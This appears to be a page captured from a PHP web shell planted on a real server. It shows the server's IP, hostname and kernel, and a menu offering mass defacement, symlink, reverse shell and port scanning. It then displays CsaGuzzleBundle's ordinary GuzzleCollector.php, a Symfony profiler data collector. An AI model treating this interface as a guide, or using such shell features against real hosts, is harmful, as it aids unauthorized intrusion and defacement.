ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
csa
/
guzzle-bundle
/
src
/
DataCollector
/
Viewing: GuzzleCollector.php
<?php /* * This file is part of the CsaGuzzleBundle package * * (c) Charles Sarrazin <charles@sarraz.in> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code */ namespace Csa\Bundle\GuzzleBundle\DataCollector; use Csa\Bundle\GuzzleBundle\GuzzleHttp\History\History; use Csa\Bundle\GuzzleBundle\GuzzleHttp\Middleware\CacheMiddleware; use Csa\Bundle\GuzzleBundle\GuzzleHttp\Middleware\MockMiddleware; use GuzzleHttp\Exception\RequestException; use Psr\Http\Message\StreamInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpKernel\DataCollector\DataCollector; /** * Csa Guzzle Collector. * * @author Charles Sarrazin <charles@sarraz.in> */ class GuzzleCollector extends DataCollector { const MAX_BODY_SIZE = 0x10000; private $maxBodySize; private $history; private $curlFormatter = null; /** * Constructor. * * @param int $maxBodySize The max body size to store in the profiler storage */ public function __construct($maxBodySize = self::MAX_BODY_SIZE, History $history = null) { $this->maxBodySize = $maxBodySize; $this->history = $history ?: new History(); if (class_exists(\Namshi\Cuzzle\Formatter\CurlFormatter::class)) { $this->curlFormatter = new \Namshi\Cuzzle\Formatter\CurlFormatter(); } $this->data = []; } /** * {@inheritdoc} */ public function collect(Request $request, Response $response, \Exception $exception = null) { $data = []; foreach ($this->history as $request) { /* @var \Psr\Http\Message\RequestInterface $request */ $transaction = $this->history[$request]; /* @var \Psr\Http\Message\ResponseInterface $response */ $response = $transaction['response']; /* @var \Exception $error */ $error = $transaction['error']; /* @var array $info */ $info = $transaction['info']; $req = [ 'request' => [ 'method' => $request->getMethod(), 'version' => $request->getProtocolVersion(), 'headers' => $request->getHeaders(), 'body' => $this->cropContent($request->getBody()), ], 'info' => $info, 'uri' => urldecode($request->getUri()), 'httpCode' => 0, 'error' => null, ]; if ($this->curlFormatter && $request->getBody()->getSize() <= $this->maxBodySize) { $req['curl'] = $this->curlFormatter->format($request); } if ($response) { $req['response'] = [ 'reasonPhrase' => $response->getReasonPhrase(), 'headers' => $response->getHeaders(), 'body' => $this->cropContent($response->getBody()), ]; $req['httpCode'] = $response->getStatusCode(); if ($response->hasHeader(CacheMiddleware::DEBUG_HEADER)) { $req['cache'] = $response->getHeaderLine(CacheMiddleware::DEBUG_HEADER); } if ($response->hasHeader(MockMiddleware::DEBUG_HEADER)) { $req['mock'] = $response->getHeaderLine(MockMiddleware::DEBUG_HEADER); } } if ($error && $error instanceof RequestException) { $req['error'] = [ 'message' => $error->getMessage(), 'line' => $error->getLine(), 'file' => $error->getFile(), 'code' => $error->getCode(), 'trace' => $error->getTraceAsString(), ]; } $data[] = $req; } $this->data = $data; } private function cropContent(StreamInterface $stream = null) { if (null === $stream) { return ''; } if ($stream->getSize() <= $this->maxBodySize) { return (string) $stream; } $stream->seek(0); return '(partial content)'.$stream->read($this->maxBodySize).'(...)'; } public function getErrors() { return array_filter($this->data, function ($call) { return 0 === $call['httpCode'] || $call['httpCode'] >= 400; }); } public function getTotalTime() { return array_sum( array_map( function ($call) { return isset($call['info']['total_time']) ? $call['info']['total_time'] : 0; }, $this->data ) ); } public function getCalls() { return $this->data; } /** * @deprecated This method is deprecated since version 2.2. It will be removed in version 3.0 */ public function getHistory() { return $this->history; } /** * {@inheritdoc} */ public function getName() { return 'guzzle'; } /** * {@inheritdoc} */ public function reset() { $this->data = []; } }
Coded With 💗 by
0x6ick